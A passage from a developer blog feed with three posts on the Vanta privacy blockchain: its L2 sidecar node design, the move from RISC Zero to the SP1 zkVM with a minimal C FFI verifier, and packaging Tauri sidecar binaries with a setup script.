<p>The C++ never deserializes an SP1 proof. It calls <code>vanta_verify_and_decode()</code> with a byte slice; the function returns a boolean and populates the <code>VantaJournal</code>. From there the consensus engine looks at 32-byte hashes and a signed <code>i64</code> and makes its decisions on bytes alone.</p>
<p>This is a deliberate cryptographic-engineering posture. The proof system can change underneath the FFI without changing the FFI. SP1 today, Halo 2 someday, whatever-comes-after-that the day after that — the C++ doesn&#39;t have to know.</p>
<h2>Why isn&#39;t the L2 logic in <code>vantad</code> too?</h2>
<p>This was the design conversation that took the longest to resolve.</p>
<p>Option A was to put everything in-process. One binary, one supervised PID, fewer moving parts. The problem: the L2 index isn&#39;t <em>consensus</em>. It&#39;s an indexed view of commitments, an SMT, and a REST API. Bundling that into <code>vantad</code> would mean every Bitcoin-Core-style operator who wanted to run the chain would inherit an HTTP server, an SQLite-backed index, and an iroh-based gossip layer. That&#39;s a footprint expansion that buys nothing for the consensus path.</p>
<p>Option B was a separate process with a clean network boundary. <code>vanta-node</code> talks <em>down</em> to <code>vantad</code> over standard JSON-RPC (the same <code>getblock</code>/<code>getrawtransaction</code> an explorer would use) and <em>up</em> to wallets over REST and iroh gossip. The footprint cost lives in the operator&#39;s discretion: if you don&#39;t want the L2 services, don&#39;t run <code>vanta-node</code>.</p>
<p>We went with B and I don&#39;t regret it. The trade-off is that the L2 sidecar is a piece of operational machinery to keep alive. The desktop app handles that automatically (see <a href="/blog/vanta_desktop_tauri_wallet/">vanta-desktop</a>); a server operator handles it the way they handle any daemon.</p>
<h2>What <code>vanta-node</code> actually does</h2>
<p><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/main.rs"><code>main.rs</code></a> is a four-task tokio program:</p>
<pre><code class="language-rust">let watcher_handle = tokio::spawn(async move {
    if let Err(e) = l1_watcher::run(watcher_config, watcher_state).await {
        tracing::error!(&quot;L1 watcher error: {e}&quot;);
    }
});

let gossip_handle_opt = match gossip::start(state.clone(), config.bootstrap_peers.clone()).await {
    Ok((handle, router)) =&gt; { ... }
    Err(e) =&gt; {
        tracing::warn!(&quot;Failed to start gossip (continuing without P2P): {e}&quot;);
        None
    }
};

let api_handle = tokio::spawn(async move {
    if let Err(e) = api::serve(api_state, &amp;api_listen).await {
        tracing::error!(&quot;API server error: {e}&quot;);
    }
});

let save_handle = tokio::spawn(async move {
    let mut interval = tokio::time::interval(tokio::time::Duration::from_secs(10));
    loop {
        interval.tick().await;
        if let Err(e) = save_state.save() {
            tracing::warn!(&quot;Failed to save state: {e}&quot;);
        }
    }
});
</code></pre>
<p>Four jobs: watch L1 for new blocks, gossip with peers over iroh, serve the REST API, and snapshot state to disk every 10 seconds. Each tokio task runs against a shared <code>L2State</code> that&#39;s <code>Arc</code>-cloned across them.</p>
<p>The <strong>L1 watcher</strong> polls <code>vantad</code>&#39;s RPC every 2 seconds (configurable via <code>VANTA_POLL_MS</code>). For each new block it scans every transaction&#39;s outputs for the <code>OP_RETURN</code> anchor format we use to publish commitments and nullifiers — the byte sequence is <code>OP_RETURN 0xbb 0x00 &lt;32-byte commitment&gt;</code>, defined in the <a href="https://github.com/Dax911/vanta/blob/main/pool/stratum_server.py">pool&#39;s stratum server</a> where I wrote it in Python and reused the format on the Rust side. Hits get fed into the SMT.</p>
<p>The <strong>gossip layer</strong> uses <a href="https://iroh.computer">iroh</a> — pure-Rust, QUIC-based, NAT-traversing — to share encrypted notes between L2 peers. The <code>bootstrap_peers</code> come from an env var; the desktop app starts with that empty by default. Iroh&#39;s gossip is a per-topic channel and we use one topic per chain (mainnet, regtest). The architecture doc explains the pick:</p>
<blockquote>
<p><strong>P2P:</strong> iroh.computer — pure Rust, QUIC-based, NAT traversal, gossip protocol, content-addressed blobs. Chosen over libp2p for simplicity, built-in QUIC + NAT hole-punching, and document sync (useful for offline branch-and-merge).</p>
</blockquote>
<p>The <strong>REST API</strong> is the thing wallets actually consume. The endpoints I care most about are <code>/status</code> (commitment count, nullifier count, SMT root, last block), <code>/submit</code> (push new commitments + encrypted notes from the pool or a wallet), <code>/notes/scan</code> (trial-decrypt encrypted notes against a wallet&#39;s secret key), and <code>/proofs/recent</code> (the 500-slot ring buffer of recently-verified proofs the explorer renders).</p>
<p>The <strong>save loop</strong> is 10-second snapshots. The state file is a bincode&#39;d dump of the SMT plus the nullifier set plus the encrypted-note inbox. <code>Drop</code> on the <code>L2State</code> saves on shutdown too. If the process is killed <code>-9</code> you lose at most 10 seconds of work, and the L1 watcher rebuilds the state by re-scanning from the last good height.</p>
<h2>How the wallet uses the sidecar</h2>
<p>The desktop wallet uses both <code>vantad</code> <em>and</em> <code>vanta-node</code>. From the wallet&#39;s perspective:</p>
<ul>
<li><code>vantad</code> is the source of truth for L1 — block heights, transparent UTXOs, transaction broadcast.</li>
<li><code>vanta-node</code> is the source of truth for L2 — commitments, nullifiers, encrypted notes addressed to me.</li>
</ul>
<p>When I press &quot;send&quot; on a private transaction in the desktop wallet:</p>
<ol>
<li>The wallet asks <code>vanta-node</code> for the current SMT root and the membership proof for the input commitment I&#39;m spending.</li>
<li>The wallet generates an SP1 proof locally (or, for low-end machines, against the SP1 proving network) using the membership proof and my secret key as private witness.</li>
<li>The wallet builds an L1 transaction that includes the SP1 proof in <code>witness.stack[0]</code> and an OP_RETURN anchor with the new commitment.</li>
<li>The wallet broadcasts the transaction via <code>vantad</code>&#39;s <code>sendrawtransaction</code> RPC.</li>
<li><code>vantad</code> validates: standard script checks, then <code>vanta_verify_and_decode()</code> against the SP1 proof in the witness.</li>
<li>After the block is mined, <code>vanta-node</code>&#39;s L1 watcher picks up the OP_RETURN anchor and the new commitment lands in the SMT.</li>
</ol>
<p>The recipient wallet <code>/submit</code>s an encrypted-note query to its <code>vanta-node</code>, which trial-decrypts using the recipient&#39;s secret. If the trial decrypts cleanly, the note is mine.</p>
<p>This is the architecture the <a href="#">coinbase auto-shield</a> feature also rides on: every miner reward is a witness v2 commitment paying into the miner&#39;s shielded address, with the encrypted note pushed to the L2 via the same <code>/submit</code> endpoint. From the <a href="https://github.com/Dax911/vanta/blob/main/pool/stratum_server.py">pool&#39;s stratum server</a>:</p>
<pre><code class="language-python">def save_shielded_note(height, commitment_hex, randomness_hex, value):
    &quot;&quot;&quot;Persist mining note and submit encrypted note to L2 for wallet discovery.

    Called ONLY after a winning block is accepted by submitblock — never from
    the per-share job-template path, otherwise the L2 SMT fills up with phantom
    commitments for templates that never won the PoW race.
    &quot;&quot;&quot;
</code></pre>
<p>That comment is load-bearing. The first version of the pool submitted the encrypted note on every share — that produced thousands of phantom commitments per block. Submitting only on <code>submitblock</code> accept fixes it.</p>
<h2>Failure modes</h2>
<p>The sidecar architecture has failure modes the in-process design wouldn&#39;t have. They&#39;re worth naming.</p>
<p><strong><code>vanta-node</code> is dead, <code>vantad</code> is alive.</strong> The wallet&#39;s L1 RPC works fine. The wallet&#39;s L2 calls all 503. The desktop app surfaces this as &quot;L2 disconnected&quot; and lets you keep using transparent functionality. Private send is gated behind L2 reachability.</p>
<p><strong><code>vantad</code> is dead, <code>vanta-node</code> is alive.</strong> L1 RPC fails. <code>vanta-node</code>&#39;s watcher logs polling failures. The L2 state is frozen at whatever block was last seen. The desktop app surfaces this as &quot;L1 disconnected&quot;; sending is impossible (no broadcast endpoint), but the wallet can still display historic state.</p>
<p><strong>Both alive but <code>vanta-node</code> lost its data dir.</strong> The L1 watcher detects &quot;I&#39;ve seen no blocks&quot; on startup and re-scans from genesis. On a small chain this is fine. On a large chain this is a known cost of recovery — measured in hours, not days, but not free.</p>
<p><strong><code>vanta-node</code> is alive but the SMT is corrupted.</strong> This one I worry about. Bincode + Drop-save + 10-second snapshots is a defensible steady state, but a partial write during a crash could in principle produce a non-loading state file. Recovery is &quot;rm the state file, restart, let the watcher rebuild.&quot; We have monitoring on the fall-through path. <strong>TODO: Dax confirm we ship cryptographic checksums on the state file.</strong></p>
<h2>What this isn&#39;t</h2>
<p>I want to head off two possible misreadings.</p>
<p><strong>This is not a proof-on-server architecture.</strong> The proof generation happens in the wallet (or, optionally, on a remote SP1 prover the user trusts). <code>vanta-node</code> doesn&#39;t generate proofs. It distributes encrypted notes and indexes commitments. The only ZK code in <code>vanta-node</code> is the verifier path it uses to sanity-check proofs before accepting them into the proof event ring buffer.</p>
<p><strong>This is not a custodial sidecar.</strong> <code>vanta-node</code> never sees secret keys. The encrypted notes are encrypted <em>to the recipient&#39;s pubkey</em> — <code>vanta-node</code> distributes ciphertext. Trial decryption happens client-side in the wallet using the recipient&#39;s secret. Lose the secret, lose the funds; lose the L2 sidecar, replay the chain. The cryptographic posture is the same as Zcash sapling notes.</p>
<h2>What I changed my mind about</h2>
<p>The original <a href="/blog/vanta_l1_nullifier_set/">nullifier-set post</a> hinted at this: &quot;The actual ZK proof verification happens <strong>out of process</strong> in the Rust sidecar. The C++ node fires off the proof to a local Unix socket and waits for <code>ok</code> or <code>not ok</code>.&quot; That&#39;s how it was originally architected. We changed it.</p>
<p>The Unix-socket sidecar didn&#39;t survive contact with the SP1 backend. Spawning a sub-process every block to verify proofs is fine in regtest where blocks are minutes apart; on mainnet at 1-minute blocks with peak-hour transaction volume, the IPC overhead added up to milliseconds per verify, multiplied by every spend in every block. Statically linking <code>libvanta_verifier.a</code> into <code>vantad</code> brought the verifier into the same address space and the same allocator and dropped the per-verify cost to roughly what an in-Rust call would cost.</p>
<p>The audit-surface concern is real but mitigated by the <em>minimal</em> FFI: 440 bytes of struct, two C functions, deterministic output. A fuzzer can hammer that boundary and you&#39;ll know if it&#39;s broken.</p>
<p>What&#39;s <em>still</em> out of process is the L2 state — the SMT, the nullifier index, the encrypted-note inbox. That&#39;s the thing whose footprint we never want inside <code>vantad</code>, and there it&#39;s stayed.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-node"><code>vanta/vanta-node</code></a> — the L2 sidecar</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-verifier-ffi"><code>vanta/vanta-verifier-ffi</code></a> — the in-process FFI verifier</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md"><code>papers/17-zkvm-engineering.md</code></a> — the design rationale for the SP1/Plonky3 backend</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain itself</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — the binary that supervises both processes</li>
<li><a href="https://iroh.computer">iroh.computer</a> — the QUIC-based P2P stack the gossip layer uses</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Why we shipped SP1 instead of RISC Zero]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_sp1_zkvm_circuits/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_sp1_zkvm_circuits/"/>
  <published>2026-04-15T23:15:13.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="sp1"/>
  <category term="risc-zero"/>
  <category term="zkvm"/>
  <category term="plonky3"/>
  <category term="rust"/>
  <summary type="html"><![CDATA[Vanta's earliest design notes said 'RISC Zero zkVM.' Production ships SP1 + Plonky3. The swap was cheap because the privacy protocol is independent of the prover. Here is why we moved, what stayed the same, and what the FFI verifier looks like.]]></summary>
  <content type="html"><![CDATA[<p>In the original <a href="/blog/vanta_zk_privacy_l1/">Vanta L1 post</a> I wrote:</p>
<blockquote>
<p>The ZK layer is in the <code>vanta/</code> subtree, written in Rust against <a href="https://www.risczero.com">RISC Zero&#39;s zkVM</a>, running entirely outside the C++ core.</p>
</blockquote>
<p>That sentence was true when I wrote it. It is no longer true. Production Vanta ships SP1 — Succinct Labs&#39; zkVM — with Plonky3 as the proof backend. RISC Zero was the early prototype. The migration happened before mainnet and has been the production prover for every consensus-critical proof since.</p>
<p>This post is the <em>why</em> of that change, the architectural choice that made the migration cheap, and what the verifier surface inside <code>vantad</code> actually looks like. The design rationale is also documented in <a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md"><code>papers/17-zkvm-engineering.md</code></a>, which is the canonical version. This post is the practitioner-flavored version: what I had to change, what I didn&#39;t, and what I&#39;d warn the next person about.</p>
<h2>The abstraction that made the swap cheap</h2>
<p>The reason RISC Zero → SP1 was a code refactor and not an architectural rewrite is that the ZK code in Vanta is split into four layers and only <em>two</em> of them touch the zkVM SDK at all.</p>
<p>From the engineering paper:</p>
<blockquote>
<ol>
<li><p><strong>Core logic</strong> (<code>vanta-core</code>): Pure Rust library containing the transfer validation function, domain-separated commitment construction, nullifier derivation, SMT membership proofs, and conservation law checks. This library has no dependency on any zkVM. It compiles to native x86, to ARM, and to RISC-V. It is the same code whether it runs inside a zkVM guest, inside a test harness, or on a developer&#39;s laptop.</p>
</li>
<li><p><strong>Guest program</strong> (<code>vanta-circuits/methods/guest/</code>): A thin wrapper that reads private inputs from the zkVM host, calls <code>validate_transfer()</code> from <code>vanta-core</code>, and commits the public outputs (<code>TransferPublicInputs</code>: <code>smt_root</code>, <code>input_commitments</code>, <code>nullifiers</code>, <code>commitments</code>, <code>value_balance</code>) to the journal. The guest program is a few dozen lines of Rust. Its only zkVM-specific code is the I/O calls (<code>sp1_zkvm::io::read()</code> and <code>sp1_zkvm::io::commit()</code>).</p>
</li>
<li><p><strong>Host prover</strong> (<code>vanta-circuits/src/prover.rs</code>): The component that sets up the proving environment, feeds private inputs to the guest, and invokes SP1 to generate a compressed Plonky3 proof.</p>
</li>
<li><p><strong>FFI verifier</strong> (<code>vanta-verifier-ffi</code>): A Rust static library compiled to <code>libvanta_verifier.a</code> and linked directly into <code>vantad</code>.</p>
</li>
</ol>
</blockquote>
<p>The split means that <em>the cryptographic protocol</em> — commitment scheme, nullifier scheme, conservation law, SMT membership proof verification — lives in <code>vanta-core</code> and has no zkVM dependency. The same Rust source compiles to:</p>
<ul>
<li>native x86_64 for unit tests on my laptop</li>
<li>RISC-V for either zkVM&#39;s guest target</li>
<li>ARM for the iOS wallet (eventually)</li>
</ul>
<p>The guest program in <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-circuits/methods/guest"><code>vanta-circuits/methods/guest/</code></a> is a thin shim. Its only zkVM-specific code is <code>sp1_zkvm::io::read()</code> to pull private inputs and <code>sp1_zkvm::io::commit()</code> to commit public outputs to the proof journal. Swapping to a different zkVM is a few lines of code in a file that is a few dozen lines long. It is not an architectural change.</p>
<p>That split is why I&#39;m comfortable saying we could swap zkVMs <em>again</em> without an architectural rewrite. The chain doesn&#39;t know what proof system it&#39;s running; it knows how to verify a journal.</p>
<h2>What the host prover looks like</h2>
<p>Here&#39;s the actual prover from <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-circuits/src/prover.rs"><code>vanta-circuits/src/prover.rs</code></a>:</p>
<pre><code class="language-rust">pub fn prove_transfer(
    private_inputs: &amp;TransferPrivateInputs,
    smt_root: &amp;Hash,
) -&gt; Result&lt;(SP1ProofWithPublicValues, TransferPublicInputs)&gt; {
    let pi = private_inputs.clone();
    let root = *smt_root;

    let result = std::thread::spawn(move || -&gt; Result&lt;...&gt; {
        let mut stdin = SP1Stdin::new();
        stdin.write(&amp;pi);
        stdin.write(&amp;root);

        let client = ProverClient::from_env();
        let pk = client.setup(GUEST_ELF.clone())?;

        // Use compressed proofs (no Docker dependency).
        // Groth16 wrapping requires Docker + Gnark — enable later for production.
        let proof = client.prove(&amp;pk, stdin).compressed().run()?;

        let mut proof_clone = proof.clone();
        let public_inputs: TransferPublicInputs = proof_clone.public_values.read();

        Ok((proof, public_inputs))
    })
    .join()
    .map_err(|e| anyhow::anyhow!(&quot;proof thread panicked: {:?}&quot;, e))??;

    Ok(result)
}
</code></pre>
<p>A couple of details worth pulling out.</p>
<p><strong>Compressed proofs, not Groth16-wrapped.</strong> SP1 supports a Groth16 wrapping step that shrinks the receipt from ~1.27 MB to ~260 bytes. v2.0 ships compressed Plonky3 instead because Groth16 wrapping requires a Docker + Gnark toolchain that I did not want in the consensus-critical path at launch. Smaller proofs are a future release.</p>
<p><strong>Spawn-on-thread because of tokio.</strong> SP1&#39;s blocking ProverClient creates its own tokio runtime. If you call it from inside another tokio runtime — which is what happens when the Axum wallet or the Tauri app invokes the prover — you get a &quot;runtime in runtime&quot; panic. Spawning the prove call on a dedicated <code>std::thread</code> and joining it cleanly side-steps that.</p>
<p>This is the kind of footgun that&#39;s invisible at unit-test time and very visible at integration-test time. It cost me an afternoon. Documented now.</p>
<p><strong><code>include_elf!</code> macro.</strong> The guest binary is embedded into the host binary at compile time:</p>
<pre><code class="language-rust">pub static GUEST_ELF: Elf = include_elf!(&quot;vanta-guest&quot;);
</code></pre>
<p>That means the wallet binary (or the Tauri host) carries the guest ELF along with the proving stack. No separate file to ship, no path resolution. This was one of the SP1 ergonomic wins over RISC Zero — the include macro removes a class of &quot;where&#39;s the guest&quot; bugs.</p>
<h2>What stayed identical</h2>
<p>The cryptographic protocol <em>did not change</em> between RISC Zero and SP1. From the engineering paper:</p>
<blockquote>
<h3>4.1 The Privacy Model Is Application-Layer, Not Prover-Layer</h3>
<p>Vanta&#39;s privacy guarantees come from four cryptographic constructions, all of which are implemented in <code>vanta-core</code> and are independent of the proof system:</p>
<p><strong>Commitment hiding.</strong> A note commitment is computed as:
$$\text{cm} = H(\text{&quot;Vanta/NoteCommitment/v1&quot;}, \text{value} | \text{owner_pk} | \text{asset_type} | r)$$</p>
<p>The hiding property — the fact that an observer cannot determine the committed values from the commitment — comes from the randomness $r$ and the preimage resistance of the hash function. This has nothing to do with the proof system. Whether the commitment is computed inside SP1, inside another zkVM, or on a napkin, the hiding property is identical.</p>
</blockquote>
<p>This is the load-bearing insight. The proof system is an <em>attestation layer</em>. It says &quot;I correctly executed this Rust program against these private inputs and the public outputs are these.&quot; It does not contribute to the soundness of the commitment scheme, the unlinkability of the nullifier, or the integrity of the SMT membership proof. Those properties live in the application code that runs <em>inside</em> the proof.</p>
<h2>Why SP1 won</h2>
<p>The full case is in the engineering paper. The short version:</p>
<p><strong>Speed.</strong> SP1 generates compressed Plonky3 receipts for Vanta&#39;s transfer workload in 30–60 seconds on a modern multi-core CPU. RISC Zero in our early benchmarks was slower — comparable on simple programs, materially slower once domain-separated SHA-256 was the dominant operation. SP1&#39;s SHA-256 precompile is the difference; it substitutes a hand-optimized circuit for the operation rather than proving SHA-256 instruction-by-instruction through the RISC-V execution trace.</p>
<p><strong>Trusted-setup posture.</strong> Plonky3 is a hash-based STARK. It is post-quantum-resilient (under Grover&#39;s algorithm, 256-bit hash → 128-bit effective security is still strong) and it has <em>no trusted setup, no SRS, no powers-of-tau ceremony</em>. Anyone can compile the prover and verifier from source and run them without trusting a third party to have generated setup parameters correctly.</p>
<p>This was a hard requirement for Vanta. The engineering paper is opinionated about it:</p>
<blockquote>
<p>a permanent contingent backdoor against a single participant&#39;s operational discipline is not a substitute for transparent cryptography.</p>
</blockquote>
<p>That sentence is the reason we don&#39;t ship Groth16, despite Groth16&#39;s ~260-byte proofs. Groth16&#39;s per-circuit trusted setup requires a multi-party-computation ceremony where the security assumption is &quot;at least one participant was honest and destroyed their share.&quot; We didn&#39;t want to carry that assumption.</p>
<p><strong>SDK ergonomics.</strong> SP1&#39;s <code>include_elf!</code>, <code>SP1Stdin</code>, <code>ProverClient</code> API, and the cargo-prove tool are well-typed and well-documented. The development cycle is fast and doesn&#39;t require specialized tooling beyond the Rust toolchain plus the SP1 target.</p>
<p><strong>Active development + funding.</strong> Succinct (the company) has raised over $55M and ships monthly releases with measurable performance improvements. SP1 is MIT/Apache-2.0, used in production by multiple chains. Lower abandonment risk than smaller projects.</p>
<p><strong>GPU acceleration available.</strong> SP1 has CUDA-based GPU proving. Doesn&#39;t matter for the wallet path (we&#39;re not putting GPUs in user laptops) but matters for the proving-network and miner-prover roles.</p>
<h2>What the FFI verifier looks like</h2>
<p>The FFI lives in <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-verifier-ffi"><code>vanta/vanta-verifier-ffi/</code></a> and compiles to <code>libvanta_verifier.a</code>. It exposes two functions to C++:</p>
<pre><code>bool vanta_verify_and_decode(const uint8_t *proof_bytes, size_t proof_len, VantaJournal *out);
bool vanta_decode_journal(const uint8_t *bytes, size_t len, VantaJournal *out);
</code></pre>
<p>The C++ consensus engine in <code>src/script/interpreter.cpp</code> calls <code>vanta_verify_and_decode</code> from the witness-v2 branch. It hands over a byte slice (the SP1 receipt embedded in <code>witness.stack[0]</code>) and receives back a boolean and a populated <code>VantaJournal</code>. The <code>VantaJournal</code> is the 440-byte struct from the engineering paper:</p>
<pre><code class="language-c">typedef struct {
    uint8_t  smt_root[32];
    uint32_t input_commitment_count;
    uint8_t  input_commitments[VANTA_MAX_SLOTS][32];
    uint32_t nullifier_count;
    uint8_t  nullifiers[VANTA_MAX_SLOTS][32];
    uint32_t commitment_count;
    uint8_t  commitments[VANTA_MAX_SLOTS][32];
    int64_t  value_balance;
} VantaJournal;
</code></pre>
<p>The C++ doesn&#39;t deserialize the proof. It doesn&#39;t know the proof system. It looks at 32-byte hashes and a signed <code>int64_t</code>, and:</p>
<ul>
<li>checks the <code>input_commitments</code> against the spent UTXO&#39;s <code>OP_2 PUSH32 &lt;commitment&gt;</code> script</li>
<li>checks the <code>nullifiers</code> against the chainstate nullifier set (<a href="/blog/vanta_l1_nullifier_set/">the post on this</a>)</li>
<li>checks the <code>smt_root</code> against the chain&#39;s currently committed state root</li>
<li>checks <code>value_balance</code> for sign + balance against any transparent outputs in the transaction</li>
</ul>
<p>That&#39;s the whole consensus contract. The proof verified bit either is or isn&#39;t set. Everything else is byte arithmetic.</p>
<p>The minimal-FFI design is what makes the audit story tractable. A fuzzer can hammer the boundary and you&#39;ll know if <code>vanta_verify_and_decode</code> ever populates a journal that the proof didn&#39;t actually attest to. The Rust side is the thing that needs the careful audit; the C++ side is reading bytes.</p>
<h2>What I learned about zkVMs by switching</h2>
<p>A few things I&#39;d tell my past self.</p>
<p><strong>Decouple the cryptographic protocol from the proof system. Hard.</strong> It is enormously tempting to put commitment construction in the guest program. Don&#39;t. Put it in <code>vanta-core</code>, call it from the guest, <em>and call it from native unit tests</em>. The native unit tests are how you find off-by-one byte ordering bugs without paying 30s/proof to find them.</p>
<p><strong>The journal is the public contract.</strong> Whatever public outputs you commit to the proof journal <em>are</em> your interface. Adding a field is a forking change for the verifier. Removing one is too. Plan the journal layout the way you&#39;d plan a serialised network message: explicit, versioned, ABI-stable.</p>
<p><strong>Compressed proofs are large.</strong> ~1.27 MB on Vanta. That meant raising <code>MAX_STANDARD_TX_WEIGHT</code> to <code>MAX_BLOCK_WEIGHT</code> so a single witness-v2 spend fits in one transaction. Plan the chain parameters around the proof size you ship with, and budget for the eventual Groth16-wrapping shrink.</p>
<p><strong>zkVM benchmarks lie about your workload.</strong> Generic prover benchmarks measure simple programs. Yours is not simple. Measure your <em>actual circuit</em> against the candidates before deciding. SP1&#39;s SHA-256 precompile dominated our workload; if your hashing is Poseidon over a different field, your numbers will look different.</p>
<h2>What&#39;s next</h2>
<p>The roadmap from the papers calls out a few things that have <em>not</em> shipped yet:</p>
<ul>
<li><strong>Groth16 wrapping</strong> to bring receipt size from 1.27 MB to ~260 bytes. Deferred for the Docker dependency reason above.</li>
<li><strong>Poseidon migration</strong> to replace SHA-256 in the commitment scheme with a ZK-friendlier hash. Performance win, no security change.</li>
<li><strong>GPU proving distribution.</strong> SP1 supports CUDA but we haven&#39;t shipped a wallet path that uses it; the lift is mostly UX (how does the user point at a GPU?) and packaging.</li>
</ul>
<p>The architectural property I want to keep regardless of which of these lands: <em>the chain doesn&#39;t know what proof system it&#39;s running, it knows how to verify a journal</em>. That&#39;s the property that lets us swap zkVMs again. It&#39;s the property that lets the eventual full-Rust node rewrite ship without a forking change. It&#39;s the property that, six years from now, lets us swap the proof backend for whatever has won the 2032 cryptography landscape.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-circuits"><code>vanta/vanta-circuits</code></a> — host prover + guest program</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-verifier-ffi"><code>vanta/vanta-verifier-ffi</code></a> — the static library linked into vantad</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md"><code>papers/17-zkvm-engineering.md</code></a> — full design rationale</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain the verifier protects</li>
<li><a href="/blog/vanta_l1_nullifier_set/">L1 nullifier sets: enforcing no-double-spend at consensus</a> — what the verifier&#39;s nullifiers feed into</li>
<li><a href="https://docs.succinct.xyz/docs/sp1/introduction">SP1 docs</a> — the prover we ship</li>
<li><a href="https://github.com/Plonky3/Plonky3">Plonky3 repo</a> — the proof backend</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Tauri 2.x sidecars in anger: the ergonomics paper-cuts I had to fix]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_tauri_ergonomics/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_tauri_ergonomics/"/>
  <published>2026-04-13T21:45:02.000Z</published>
  <updated>2026-04-23T19:31:34.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="tauri"/>
  <category term="rust"/>
  <category term="desktop"/>
  <category term="sidecar"/>
  <category term="devenv"/>
  <summary type="html"><![CDATA[externalBin wants a target-triple suffix nobody documents loudly enough. The dev resolver walks up parents. Startup must be sequenced. The setup-sidecars.sh + resolve_binary() story for shipping a wallet that runs its own node.]]></summary>
  <content type="html"><![CDATA[<p>The <a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop walkthrough</a> is the architectural story: a Tauri 2.x wallet that ships its own full node, supervises three sidecar binaries, and exposes everything through <code>#[tauri::command]</code> IPC. That post is the <em>what.</em> This post is the <em>how</em> — the small, awkward, under-documented ergonomics details that took me a working week to figure out.</p>
<p>If you&#39;re shipping a Tauri app with sidecar binaries in 2026 and you&#39;re hitting walls, this post is the field notes I wish someone had written for me. If you&#39;re not, skip it.</p>
<h2>The target-triple suffix</h2>
<p>The first wall is the one that&#39;s most easily missed because it works fine in production and breaks subtly in dev. Tauri&#39;s <code>externalBin</code> config in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/src-tauri/tauri.conf.json"><code>tauri.conf.json</code></a> declares the sidecar binaries:</p>
<pre><code class="language-json">&quot;externalBin&quot;: [
  &quot;binaries/vantad&quot;,
  &quot;binaries/vanta-node&quot;,
  &quot;binaries/vanta-cli&quot;
]
</code></pre>
<p>The bundler does <em>not</em> look for <code>binaries/vantad</code> literally. It looks for <code>binaries/vantad-&lt;rustc-host-target-triple&gt;</code> — that is, the file with the target-triple appended.</p>
<p>On Apple Silicon that&#39;s <code>binaries/vantad-aarch64-apple-darwin</code>. On Intel macOS it&#39;s <code>binaries/vantad-x86_64-apple-darwin</code>. On Linux it&#39;s <code>binaries/vantad-x86_64-unknown-linux-gnu</code>. Windows is <code>binaries/vantad-x86_64-pc-windows-msvc</code>.</p>
<p>If the file is named just <code>binaries/vantad</code>, Tauri&#39;s bundler emits a moderately cryptic error during <code>tauri build</code>. The fix is renaming the file. The discovery process for figuring this out is <code>tauri build</code> → fail → google → find a <a href="https://github.com/tauri-apps/tauri/issues">years-old GitHub issue</a> → realise.</p>
<p>The setup script that handles this lives in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/setup-sidecars.sh"><code>setup-sidecars.sh</code></a> and the load-bearing line is the very first one:</p>
<pre><code class="language-bash">TRIPLE=$(rustc -vV | grep host | awk &#39;{print $2}&#39;)
</code></pre>
<p><code>rustc -vV</code> outputs Rust&#39;s verbose version info, which includes a <code>host: &lt;triple&gt;</code> line. Awk picks the second field. The variable then suffixes every file copied into <code>src-tauri/binaries/</code>:</p>
<pre><code class="language-bash">cp &quot;$VANTAD&quot; &quot;$BINDIR/vantad-$TRIPLE&quot;
cp &quot;$ZERANODE&quot; &quot;$BINDIR/vanta-node-$TRIPLE&quot;
</code></pre>
<p>That&#39;s the canonical way to discover the host triple, and it&#39;s what every Tauri tutorial buries five paragraphs in. <strong>Do not hardcode the triple.</strong> A Mac developer who switches between aarch64 and x86_64 (e.g., a Rosetta context for testing) will produce one set of binaries from one shell and another from another, and the bundler will pick whichever is on disk <em>and</em> matches the active build target — only one of which is correct on any given build.</p>
<p>The full search for <code>vantad</code> in <code>setup-sidecars.sh</code> walks well-known locations:</p>
<pre><code class="language-bash">VANTAD=&quot;${ZERA_L1_BIN:-}&quot;
if [ -z &quot;$VANTAD&quot; ]; then
  for candidate in \
    &quot;../src/vantad&quot; \
    &quot;../../src/vantad&quot; \
    &quot;/usr/local/bin/vantad&quot; \
    ; do
    if [ -x &quot;$candidate&quot; ]; then
      VANTAD=&quot;$candidate&quot;
      break
    fi
  done
fi
</code></pre>
<p>The <code>../src/vantad</code> and <code>../../src/vantad</code> are relative paths from <code>vanta-desktop/</code> and <code>vanta-desktop/src-tauri/</code> respectively. The <code>/usr/local/bin/vantad</code> is the canonical install path on macOS. The <code>ZERA_L1_BIN</code> env var is the escape hatch for non-default layouts. (The variable name still reads <code>ZERA_L1_BIN</code> because of the <a href="/blog/vanta_darwin_apple_silicon_build/">zeracoin → vanta rebrand</a> — pre-rebrand artefact, on the cleanup list.)</p>
<h2>The dev-mode resolver</h2>
